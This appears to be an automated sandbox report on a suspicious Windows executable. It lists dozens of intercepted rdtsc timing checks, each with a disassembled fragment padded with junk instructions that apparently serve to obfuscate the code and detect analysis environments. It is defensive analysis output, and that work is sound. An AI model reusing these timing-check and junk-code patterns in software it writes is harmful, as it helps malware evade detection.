Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BAFF2 second address: 7BB00E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C24E651A6h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BB00E second address: 7BB01B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C75C4 second address: 7C75CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C75CA second address: 7C75DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jc 00007F2C247D9BEAh 0x0000000b push esi 0x0000000c pop esi 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C75DD second address: 7C75E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C75E3 second address: 7C75E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2BD3 second address: 7E2BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2BD9 second address: 7E2BDF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E19A9 second address: 7E19AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E19AD second address: 7E19BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E19BB second address: 7E19D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007F2C24E65196h 0x00000011 popad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E238D second address: 7E2391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2391 second address: 7E239F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E239F second address: 7E23A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E23A4 second address: 7E23B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F2C24E65196h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007F2C24E65196h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2530 second address: 7E2536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2536 second address: 7E253A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E253A second address: 7E254E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2C247D9BE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jnp 00007F2C247D9BE6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E26F7 second address: 7E2712 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F2C24E65196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F2C24E6519Dh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2712 second address: 7E2733 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F2C247D9BF8h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E2897 second address: 7E289B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E289B second address: 7E28CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jne 00007F2C247D9BE6h 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2C247D9BF2h 0x00000018 jmp 00007F2C247D9BEDh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E28CD second address: 7E28D9 instructions: 0x00000000 rdtsc 0x00000002 je 00007F2C24E6519Eh 0x00000008 push eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E28D9 second address: 7E28F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F2C247D9BF9h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E28F9 second address: 7E28FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5884 second address: 7E5899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F2C247D9BECh 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E5899 second address: 7E589D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8142 second address: 7E815C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C247D9BF6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8200 second address: 7E820A instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F2C24E65196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E842C second address: 7E8431 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8431 second address: 7E846C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jmp 00007F2C24E651A1h 0x0000000d nop 0x0000000e sub dword ptr [ebp+122D181Ch], esi 0x00000014 push 00000004h 0x00000016 mov edx, dword ptr [ebp+122D2987h] 0x0000001c call 00007F2C24E65199h 0x00000021 push eax 0x00000022 push edx 0x00000023 jnc 00007F2C24E65198h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E846C second address: 7E847D instructions: 0x00000000 rdtsc 0x00000002 jl 00007F2C247D9BE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E847D second address: 7E84B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jmp 00007F2C24E6519Ah 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F2C24E651A9h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E84B2 second address: 7E84BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push ebx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E84BE second address: 7E84E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 pop ebx 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F2C24E651A8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E84E6 second address: 7E84EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E84EC second address: 7E84F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E86E0 second address: 7E86F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C247D9BF0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E86F4 second address: 7E86F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9BFF second address: 7E9C18 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F2C247D9BE6h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d jmp 00007F2C247D9BECh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C18 second address: 7E9C1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E9C1E second address: 7E9C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D73 second address: 4C50DD2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c call 00007F2C24E651A3h 0x00000011 pop esi 0x00000012 pop edx 0x00000013 push esi 0x00000014 pushfd 0x00000015 jmp 00007F2C24E651A5h 0x0000001a jmp 00007F2C24E6519Bh 0x0000001f popfd 0x00000020 pop esi 0x00000021 popad 0x00000022 push eax 0x00000023 pushad 0x00000024 push esi 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DD2 second address: 4C50DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov di, cx 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F2C247D9BF8h 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50DFC second address: 4C50E19 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E19 second address: 4C50E65 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov eax, edx 0x0000000f pushfd 0x00000010 jmp 00007F2C247D9BEFh 0x00000015 adc ecx, 3F437B1Eh 0x0000001b jmp 00007F2C247D9BF9h 0x00000020 popfd 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E65 second address: 4C50E6B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50E6B second address: 4C50E6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF00FD second address: 4BF0101 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0101 second address: 4BF0105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0105 second address: 4BF010B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF010B second address: 4BF019C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2C247D9BF8h 0x00000009 or ecx, 5D2ED2B8h 0x0000000f jmp 00007F2C247D9BEBh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F2C247D9BF8h 0x0000001b and ax, 0D18h 0x00000020 jmp 00007F2C247D9BEBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 xchg eax, ebp 0x0000002a jmp 00007F2C247D9BF6h 0x0000002f push eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov ebx, eax 0x00000035 jmp 00007F2C247D9BF8h 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF019C second address: 4BF01E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, F384h 0x00000007 movsx ebx, cx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F2C24E651A4h 0x00000013 mov ebp, esp 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushfd 0x00000019 jmp 00007F2C24E6519Ch 0x0000001e and si, C368h 0x00000023 jmp 00007F2C24E6519Bh 0x00000028 popfd 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF01E1 second address: 4BF0217 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007F2C247D9BF6h 0x0000000c or ch, FFFFFFC8h 0x0000000f jmp 00007F2C247D9BEBh 0x00000014 popfd 0x00000015 popad 0x00000016 push dword ptr [ebp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0217 second address: 4BF021B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF021B second address: 4BF021F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF021F second address: 4BF0225 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10500 second address: 4C10515 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10285 second address: 4C102A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2C24E6519Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102A2 second address: 4C102A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102A6 second address: 4C102AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102AC second address: 4C102C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102C5 second address: 4C102C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102C9 second address: 4C102CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102CD second address: 4C102D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102D3 second address: 4C102D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102D9 second address: 4C102DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102DD second address: 4C102E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C102E1 second address: 4C1030E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F2C24E6519Dh 0x0000000e mov ebp, esp 0x00000010 jmp 00007F2C24E6519Eh 0x00000015 pop ebp 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1030E second address: 4C10312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10312 second address: 4C1032F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C20095 second address: 4C200AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C200AE second address: 4C200B2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C200B2 second address: 4C200B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C200B8 second address: 4C200CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C24E651A1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C200CD second address: 4C200EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C200EB second address: 4C200EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C200EF second address: 4C200F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50C86 second address: 4C50D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2C24E651A7h 0x00000009 jmp 00007F2C24E651A3h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F2C24E651A2h 0x0000001a jmp 00007F2C24E651A5h 0x0000001f popfd 0x00000020 mov di, si 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 pushad 0x00000026 mov edi, esi 0x00000028 pushfd 0x00000029 jmp 00007F2C24E651A4h 0x0000002e sub esi, 08D0F158h 0x00000034 jmp 00007F2C24E6519Bh 0x00000039 popfd 0x0000003a popad 0x0000003b mov ebp, esp 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007F2C24E651A0h 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50D29 second address: 4C50D2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30208 second address: 4C3020C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3020C second address: 4C3021F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C3021F second address: 4C30225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30225 second address: 4C30229 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30229 second address: 4C30263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F2C24E651A8h 0x00000013 add ax, 75B8h 0x00000018 jmp 00007F2C24E6519Bh 0x0000001d popfd 0x0000001e mov dl, ah 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C30263 second address: 4C302A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F2C247D9BF0h 0x00000011 and dword ptr [eax], 00000000h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F2C247D9BF7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C302A8 second address: 4C30302 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and dword ptr [eax+04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F2C24E651A3h 0x00000016 add ax, 8F9Eh 0x0000001b jmp 00007F2C24E651A9h 0x00000020 popfd 0x00000021 pushad 0x00000022 popad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1046F second address: 4C10473 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10473 second address: 4C10479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C10479 second address: 4C1047F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C1047F second address: 4C104D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 pushad 0x00000011 movzx ecx, di 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 xchg eax, ebp 0x00000019 jmp 00007F2C24E651A1h 0x0000001e mov ebp, esp 0x00000020 jmp 00007F2C24E6519Eh 0x00000025 pop ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 push edx 0x0000002a pop esi 0x0000002b mov bx, 9A1Ch 0x0000002f popad 0x00000030 rdtsc
